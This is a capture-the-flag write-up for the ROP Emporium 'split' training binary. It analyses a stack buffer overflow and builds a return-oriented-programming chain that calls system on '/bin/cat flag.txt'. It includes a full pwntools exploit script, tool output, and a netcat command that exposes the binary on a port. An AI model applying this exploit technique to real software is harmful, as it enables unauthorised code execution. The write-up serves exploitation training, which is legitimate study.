Writeup
Firstly we need to check the security of the binary :
$ rabin2 -I split
arch x86
baddr 0x400000
binsz 7137
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
maxopsz 16
minopsz 1
nx true
os linux
pcalign 0
pic false
relocs true
relro partial
rpath NONE
sanitiz false
static false
stripped false
subsys linux
va true
Ok, as ret2win
even this one has PIC
disabled and NX
enabled.
Let’s analyze the binary with radare2/ghidra :
$ r2 -d split
[0x7f192ac2b100]> aaa
[0x7f192ac2b100]> afl
0x00400650 1 41 entry0
0x00400610 1 6 sym.imp.__libc_start_main
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 entry.fini0
0x00400720 4 38 -> 35 entry.init0
0x004007b5 1 82 sym.pwnme # interesting
0x00400600 1 6 sym.imp.memset
0x004005d0 1 6 sym.imp.puts
0x004005f0 1 6 sym.imp.printf
0x00400620 1 6 sym.imp.fgets
0x00400807 1 17 sym.usefulFunction # interesting
0x004005e0 1 6 sym.imp.system # useful
0x00400890 1 2 sym.__libc_csu_fini
0x00400894 1 9 sym._fini
0x00400820 4 101 sym.__libc_csu_init
0x00400746 1 111 main
0x00400630 1 6 sym.imp.setvbuf
0x004005a0 3 26 sym._init
[0x7f192ac2b100]> s main
[0x00400746]> pdg
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel
undefined8 main(void)
{
sym.imp.setvbuf(_section..bss, 0, 2, 0);
sym.imp.setvbuf(_reloc.stderr_160, 0, 2, 0);
sym.imp.puts("split by ROP Emporium");
sym.imp.puts("64bits\n");
sym.pwnme();
sym.imp.puts("\nExiting");
return 0;
}
[0x00400746]> s sym.pwnme
[0x004007b5]> pdg
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel
void sym.pwnme(void)
{
int32_t var_20h;
sym.imp.memset(&var_20h, 0, 0x20);
sym.imp.puts("Contriving a reason to ask user for data...");
sym.imp.printf(0x4008fc);
sym.imp.fgets(&var_20h, 0x60, _reloc.stdin_144);
return;
}
[0x004007b5]> s sym.usefulFunction
[0x00400807]> pdg
// WARNING: [r2ghidra] Failed to find return address in ProtoModel
void sym.usefulFunction(void)
{
sym.imp.system("/bin/ls");
return;
}
Ok, as in ret2win we have a BOF on pwnme
, however in this case we can’t just change the return address to make it pointing to a function which prints the flag, but we need to create a ROP chain. Firstly, let’s check the useful strings in the binary.
$ rabin2 -z ./split 1 ↵
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x000008a8 0x004008a8 21 22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be 7 8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6 8 9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0 43 44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff 7 8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060 17 18 (.data) ascii /bin/cat flag.txt
We have already in the binary /bin/cat flag.txt
, if we are able to pass this string’s address to the system as argument we’re done.
Because we’re in a 64 bit binary we need to pass the argument in the register rdi
, to do so we can use ropper to find a valid gadget.
ropper --file split | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000004007a1: add byte ptr [rax], al; add byte ptr [rdi + 0x4008c6], bh; call 0x5d0; mov eax, 0; pop rbp; ret;
0x00000000004007fa: add byte ptr [rax], al; mov rdi, rax; call 0x620; nop; leave; ret;
0x00000000004007a3: add byte ptr [rdi + 0x4008c6], bh; call 0x5d0; mov eax, 0; pop rbp; ret;
0x00000000004007f7: mov esi, 0x60; mov rdi, rax; call 0x620; nop; leave; ret;
0x00000000004007fc: mov rdi, rax; call 0x620; nop; leave; ret;
0x0000000000400883: pop rdi; ret;
The ROP chain will be :
- Change return address to the address of
pop rdi; ret
. - After the return address put the address of
/bin/cat flag.txt
- After the address of
/bin/cat flag.txt
put the address ofsystem@plt
(We don’t need the actual address in the libc because in this way we can bypass ASLR).
In this way after the last instruction of pwnme
executes the ret
, the instruction pointer will jump to the address of pop rdi;ret
, simultaneously the stack pointer will point now to the address of /bin/cat flag.txt
.
The pop rdi
then will put in rdi
the address of /bin/cat flag.txt
and move the stack pointer 8 bytes lower (I mean higher address..) .
The ret
instruction will execute system@plt
.
Get address of system using gdb
gdb -q ./split
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./split...
(No debugging symbols found in ./split)
pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400807 <+0>: push rbp
0x0000000000400808 <+1>: mov rbp,rsp
0x000000000040080b <+4>: mov edi,0x4008ff
0x0000000000400810 <+9>: call 0x4005e0 <system@plt> # This one
0x0000000000400815 <+14>: nop
0x0000000000400816 <+15>: pop rbp
0x0000000000400817 <+16>: ret
End of assembler dump.
Let’s spawn the program with netcat and write an exploit
$ nc -lvp 9999 -e ./split
Exploit
#!/usr/bin/env python3
from pwn import *
conn = remote('127.0.0.1', 9999)
pop_rdi = p64(0x0400883)
cat = p64(0x601060)
system = p64(0x4005e0)
payload = b'a' * 40 + pop_rdi + cat + system
log.info(conn.recvuntil(">"))
conn.sendline(payload)
log.info(conn.recvline())
conn.close()
with open("out.txt", "wb") as out:
out.write(payload)
Time to launch…
$ ./exploit.py
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] b'split by ROP Emporium\n64bits\n\nContriving a reason to ask user for data...\n>'
[*] b' ROPE{a_placeholder_32byte_flag!}\n'
[*] Closed connection to 127.0.0.1 port 9999
Flag
ROPE{a_placeholder_32byte_flag!}